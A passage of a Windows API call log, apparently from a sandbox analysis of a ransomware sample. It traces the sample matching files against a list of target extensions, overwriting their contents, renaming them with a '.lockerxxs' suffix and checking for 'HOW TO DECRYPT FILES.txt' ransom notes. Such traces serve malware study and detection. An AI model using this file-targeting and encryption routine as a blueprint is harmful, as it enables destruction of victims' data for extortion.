Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" [0083.073] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg." [0083.073] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.lockerxxs" [0083.073] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.074] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2036 [0083.074] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53657130, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53657130, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53657130, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.074] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.074] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2010, lpOverlapped=0x0) returned 1 [0083.076] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg") returned="BBC06ZQ[1].jpg" [0083.076] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.076] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2010, lpOverlapped=0x0) returned 1 [0083.076] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.077] CloseHandle (hObject=0xa4) returned 1 [0083.077] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg.lockerxxs")) returned 1 [0083.077] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b2bd440, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5b2bd440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5b2bd440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13fd, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0ALC[1].jpg", cAlternateFileName="BBC0AL~1.JPG")) returned 1 [0083.077] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0ALC[1].jpg") returned 1 [0083.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0ALC[1].jpg") returned 1 [0083.078] lstrcmpiA (lpString1="", lpString2="BBC0ALC[1].jpg") returned -1 [0083.078] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg") returned="BBC06ZQ[1].jpg" [0083.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.078] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.078] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.078] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.078] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0ALC[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" [0083.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.ems") returned 0 [0083.078] lstrlenA (lpString="*.ems") returned 5 [0083.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.db") returned 0 [0083.078] lstrlenA (lpString="*.db") returned 4 [0083.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.dbf") returned 0 [0083.078] lstrlenA (lpString="*.dbf") returned 5 [0083.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.myox") returned 0 [0083.078] lstrlenA (lpString="*.myox") returned 6 [0083.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.myo") returned 0 [0083.078] lstrlenA (lpString="*.myo") returned 5 [0083.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qbw") returned 0 [0083.078] lstrlenA (lpString="*.qbw") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qbb") returned 0 [0083.079] lstrlenA (lpString="*.qbb") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qbm") returned 0 [0083.079] lstrlenA (lpString="*.qbm") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qbo") returned 0 [0083.079] lstrlenA (lpString="*.qbo") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qbx") returned 0 [0083.079] lstrlenA (lpString="*.qbx") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qba") returned 0 [0083.079] lstrlenA (lpString="*.qba") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qby") returned 0 [0083.079] lstrlenA (lpString="*.qby") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qbj") returned 0 [0083.079] lstrlenA (lpString="*.qbj") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.ofx") returned 0 [0083.079] lstrlenA (lpString="*.ofx") returned 5 [0083.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.qif") returned 0 [0083.079] lstrlenA (lpString="*.qif") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.mye") returned 0 [0083.080] lstrlenA (lpString="*.mye") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.mbox") returned 0 [0083.080] lstrlenA (lpString="*.mbox") returned 6 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.eml") returned 0 [0083.080] lstrlenA (lpString="*.eml") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.pst") returned 0 [0083.080] lstrlenA (lpString="*.pst") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.ost") returned 0 [0083.080] lstrlenA (lpString="*.ost") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.idx") returned 0 [0083.080] lstrlenA (lpString="*.idx") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.dbx") returned 0 [0083.080] lstrlenA (lpString="*.dbx") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.sql") returned 0 [0083.080] lstrlenA (lpString="*.sql") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.mdb") returned 0 [0083.080] lstrlenA (lpString="*.mdb") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.fdb") returned 0 [0083.080] lstrlenA (lpString="*.fdb") returned 5 [0083.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.wab") returned 0 [0083.080] lstrlenA (lpString="*.wab") returned 5 [0083.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.dat") returned 0 [0083.081] lstrlenA (lpString="*.dat") returned 5 [0083.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.txt") returned 0 [0083.081] lstrlenA (lpString="*.txt") returned 5 [0083.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.jpeg") returned 0 [0083.081] lstrlenA (lpString="*.jpeg") returned 6 [0083.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", pszSpec="*.jpg") returned 1 [0083.081] lstrlenA (lpString="*.jpg") returned 5 [0083.081] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" [0083.081] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" [0083.081] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg." [0083.081] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.lockerxxs" [0083.081] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.082] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13fd [0083.082] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5b2bd440, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5b2bd440, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5b2bd440, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.082] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.082] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13d7, lpOverlapped=0x0) returned 1 [0083.084] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg") returned="BBC0ALC[1].jpg" [0083.084] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.084] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13d7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13d7, lpOverlapped=0x0) returned 1 [0083.085] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.088] CloseHandle (hObject=0xa4) returned 1 [0083.088] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg.lockerxxs")) returned 1 [0083.089] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e74850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0BiZ[1].jpg", cAlternateFileName="BBC0BI~1.JPG")) returned 1 [0083.089] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.090] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0BiZ[1].jpg") returned 1 [0083.090] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0BiZ[1].jpg") returned 1 [0083.090] lstrcmpiA (lpString1="", lpString2="BBC0BiZ[1].jpg") returned -1 [0083.090] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg") returned="BBC0ALC[1].jpg" [0083.090] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.091] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.091] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.091] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.091] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0BiZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" [0083.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg", pszSpec="*.ems") returned 0 